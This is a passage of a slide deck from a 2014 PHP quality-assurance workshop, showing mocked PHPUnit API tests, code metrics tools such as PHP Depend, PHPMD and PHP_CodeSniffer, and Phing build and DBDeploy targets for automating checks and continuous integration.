JoindinUserMockTestpublic function testJoindinCanGetUserDetails() {     $response = <<<EOS "HTTP/1.1 200 OK "Content-type: text/xml "!<?xml version="1.0"?> "<response> "  <item> "    <username>DragonBe</username> "    <full_name>Michelangelo van Dam</full_name> "    <ID>19</ID> "    <last_login>1303248639</last_login> "  </item> "</response>         "EOS; "    $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>';" $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }

Page 121: Workshop quality assurance for php projects - PHPNW Manchester 2014

JoindinStatusMockTestpublic function testJoindinCanCheckStatus() "{ "    $date = new DateTime(); "    $date->setTimezone(new DateTimeZone('UTC')); "    $response = <<<EOS "HTTP/1.1 200 OK "Content-type: text/xml "!<?xml version="1.0"?> "<response> "  <dt>{$date->format('r')}</dt> "  <test_string>testing unit test</test_string> "</response>         "EOS; "    $client = $this->_joindin->getClient() "                             ->getAdapter()->setResponse($response); "    $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; "    $actual = $this->_joindin->site()->getStatus('testing unit test'); "    $this->assertXmlStringEqualsXmlString($expected, $actual); "}

Page 122: Workshop quality assurance for php projects - PHPNW Manchester 2014

Good implementation?

Page 123: Workshop quality assurance for php projects - PHPNW Manchester 2014

Exercise

• Get the JoindIn API client from GitHub - see https://github.com/DragonBe/joindin-client

• Replace the current HTTP client adapter by a TEST adapter

• Provide the data for response • Run TEST to see difference

!

• NOTE: this client is already upgraded to v2.1

Page 124: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing it all

Page 125: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing it all

Page 126: Workshop quality assurance for php projects - PHPNW Manchester 2014

Our progress report

Page 127: Workshop quality assurance for php projects - PHPNW Manchester 2014

Conclusion

Page 128: Workshop quality assurance for php projects - PHPNW Manchester 2014

• unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote

Page 129: Workshop quality assurance for php projects - PHPNW Manchester 2014

Fork this code

http://github.com/DragonBe/zftest

Page 130: Workshop quality assurance for php projects - PHPNW Manchester 2014

Measuring

Page 131: Workshop quality assurance for php projects - PHPNW Manchester 2014

Code Analysis

Page 132: Workshop quality assurance for php projects - PHPNW Manchester 2014

Questions

• how stable is my code? • how flexible is my code? • how complex is my code? • how easy can I refactor my code?

Page 133: Workshop quality assurance for php projects - PHPNW Manchester 2014

Answers

• PHPDepend - Dependency calculations • PHPMD - Mess detections and code “smells” • PHPCPD - Copy/paste detection • PHPCS - PHP_CodeSniffer

Page 134: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Depend

Page 135: Workshop quality assurance for php projects - PHPNW Manchester 2014

What?

• generates metrics • measure health • identify parts to improve (refactor)

Page 136: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend pyramid

Page 137: Workshop quality assurance for php projects - PHPNW Manchester 2014

• CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes

!

• FANOUT: Number of Called Classes • CALLS: Number of Operation Calls

Page 138: Workshop quality assurance for php projects - PHPNW Manchester 2014

Cyclomatic Complexity

• metric calculation • execution paths • independent control structures - if, else, for, foreach, switch case, while, do, …

• within a single method or function • more info - http://en.wikipedia.org/wiki/

Cyclomatic_complexity

Page 139: Workshop quality assurance for php projects - PHPNW Manchester 2014

Average Hierarchy Height

The average of the maximum length from a root class to its deepest subclass

Page 140: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend pyramid

Inheritance

few classes derived from other classes

lots of classes inherit from other classes

Page 141: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend pyramid

Size and complexity

Page 142: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend pyramid

Coupling

Page 143: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend pyramid

High value

Page 144: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend-graph

graph  about  stability:  a  mix  between  abstract  and  concrete  classes

Page 145: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 146: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 147: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP  Depend

Page 148: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Mess Detection

Page 149: Workshop quality assurance for php projects - PHPNW Manchester 2014

What?

• detects code smells - possible bugs - sub-optimal code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties

Page 150: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHPMD  in  ac;on

Page 151: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Copy/Paste Detection

Page 152: Workshop quality assurance for php projects - PHPNW Manchester 2014

What?

• detects similar code snippets - plain copy/paste work - similar code routines

• indicates problems - maintenance hell - downward spiral of disasters

• stimulates improvements - refactoring of code - moving similar code snippets in common routines

Page 153: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP CodeSniffer

Page 154: Workshop quality assurance for php projects - PHPNW Manchester 2014

Required evil

• validates coding standards - consistency - readability

• set as a policy for development • reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code

• can be set as pre-commit hook - but can cause frustration!!!

Page 155: Workshop quality assurance for php projects - PHPNW Manchester 2014

Performance Analysis

Page 156: Workshop quality assurance for php projects - PHPNW Manchester 2014

https://twitter.com/#!/andriesss/status/189712045766225920

Page 157: Workshop quality assurance for php projects - PHPNW Manchester 2014

Automating

Page 158: Workshop quality assurance for php projects - PHPNW Manchester 2014

Key reason

“computers are great at doing repetitive tasks very well”

Page 159: Workshop quality assurance for php projects - PHPNW Manchester 2014

Repetition

• syntax checking • documenting • testing • measuring

Page 160: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 161: Workshop quality assurance for php projects - PHPNW Manchester 2014

Why Phing?

• php based (it’s already on our system) • open-source • supported by many tools • very simple syntax • great documentation

Page 162: Workshop quality assurance for php projects - PHPNW Manchester 2014

Structure of a build<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Page 163: Workshop quality assurance for php projects - PHPNW Manchester 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<project name="Application build" default="phplint">

Page 164: Workshop quality assurance for php projects - PHPNW Manchester 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />

Page 165: Workshop quality assurance for php projects - PHPNW Manchester 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>

Page 166: Workshop quality assurance for php projects - PHPNW Manchester 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target>

Page 167: Workshop quality assurance for php projects - PHPNW Manchester 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

</project>

Page 168: Workshop quality assurance for php projects - PHPNW Manchester 2014

build.propertiesproject.title=WeCycle phpbook:qademo dragonbe$ cat build.properties # General settings project.website=http://wecycle.local project.title=WeCycle !# AB Testing properties abrequests=1000 abconcurrency=10

Page 169: Workshop quality assurance for php projects - PHPNW Manchester 2014

local.propertiesproject.website=http://qademo.local abrequests=1000 abconcurrency=10 !db.username=qademo_user db.password=v3rRyS3crEt db.hostname=127.0.0.1 db.dbname=qademo

Page 170: Workshop quality assurance for php projects - PHPNW Manchester 2014

Let’s  run  it

Page 171: Workshop quality assurance for php projects - PHPNW Manchester 2014

Artifacts

• some tools provide output we can use later • called “artifacts” • we need to store them somewhere • so we create a prepare target • that creates these artifact directories (./build) • that gets cleaned every run

Page 172: Workshop quality assurance for php projects - PHPNW Manchester 2014

Prepare for artifacts <target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /> </target>

Page 173: Workshop quality assurance for php projects - PHPNW Manchester 2014

phpdoc2 <target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /> </target>

Page 174: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHPUnit <target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /> </target>

Page 175: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP_CodeSniffer <target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /> </target>

Page 176: Workshop quality assurance for php projects - PHPNW Manchester 2014

Copy Paste Detection <target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd> </target>

Page 177: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Mess Detection <target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd> </target>

Page 178: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Depend <target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend> </target>

Page 179: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP CodeBrowser <target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/> </target>

Page 180: Workshop quality assurance for php projects - PHPNW Manchester 2014

Create a build procedure <target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /> </target>

Page 181: Workshop quality assurance for php projects - PHPNW Manchester 2014

Other things to automate

• server stress-testing with Apache Benchmark • database deployment with DBDeploy • package code base with Phar • transfer package to servers with - FTP/SFTP - scp/rsync

• execute remote commands with SSH • … so much more

Page 182: Workshop quality assurance for php projects - PHPNW Manchester 2014

Example DBDeploy <target name="dbdeploy" description="Update the DB to the latest version"> ! <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> ! <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> ! <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/> </target>

Page 183: Workshop quality assurance for php projects - PHPNW Manchester 2014

Build  it

Page 184: Workshop quality assurance for php projects - PHPNW Manchester 2014

Continuous Integration

Page 185: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 186: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 187: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 188: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 189: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 190: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 191: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 192: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 193: Workshop quality assurance for php projects - PHPNW Manchester 2014

Now you are a winner!

Page 194: Workshop quality assurance for php projects - PHPNW Manchester 2014

Team Works!

Page 195: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 196: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 197: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 198: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 199: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 200: Workshop quality assurance for php projects - PHPNW Manchester 2014

Conclusion

Page 201: Workshop quality assurance for php projects - PHPNW Manchester 2014

Get your information in a consistent, automated way

and make it accessible for the team !

More people can better safeguard the code!

Page 202: Workshop quality assurance for php projects - PHPNW Manchester 2014

Recommended  reading

• the  PHP  QA  book  -­‐ Sebas;an  Bergmann  -­‐ Stefan  Priebsch

Page 204: Workshop quality assurance for php projects - PHPNW Manchester 2014

Recommended  reading  3

• OOD  Quality  Metrics  -­‐ Robert  Cecil  Mar;n

Free

hKp://www.objectmentor.com/publica;ons/oodmetrc.pdf

Page 205: Workshop quality assurance for php projects - PHPNW Manchester 2014

Feedback/Questions

Michelangelo van Dam !

[email protected] !

@DragonBe

Page 206: Workshop quality assurance for php projects - PHPNW Manchester 2014

joind.in/11778

If you enjoyed this tutorial, thank you If not, tell me how to make it better

Page 207: Workshop quality assurance for php projects - PHPNW Manchester 2014

Thank you

Page 208: Workshop quality assurance for php projects - PHPNW Manchester 2014

CreditsI’d like to thank the following people for sharing their creative commons pictures michelangelo: http://www.flickr.com/photos/dasprid/5148937451 birds: http://www.flickr.com/photos/andyofne/4633356197 safeguarding: http://www.flickr.com/photos/infidelic/4306205887/ bugs: http://www.flickr.com/photos/goingslo/4523034319 behaviour: http://www.flickr.com/photos/yuan2003/1812881370 prevention: http://www.flickr.com/photos/robertelyov/5159801170 progress: http://www.flickr.com/photos/dingatx/4115844000 workout: http://www.flickr.com/photos/aktivioslo/3883690673 measurement: http://www.flickr.com/photos/cobalt220/5479976917 team spirit: http://www.flickr.com/photos/amberandclint/3266859324 time: http://www.flickr.com/photos/freefoto/2198154612 continuous reporting: http://www.flickr.com/photos/dhaun/5640386266 deploy packages: http://www.flickr.com/photos/fredrte/2338592371 race cars: http://www.flickr.com/photos/robdunckley/3781995277 protection dog: http://www.flickr.com/photos/boltofblue/5724934828 gears: http://www.flickr.com/photos/freefoto/5982549938 1st place: http://www.flickr.com/photos/evelynishere/3417340248 elephpant: http://www.flickr.com/photos/drewm/3191872515 !!!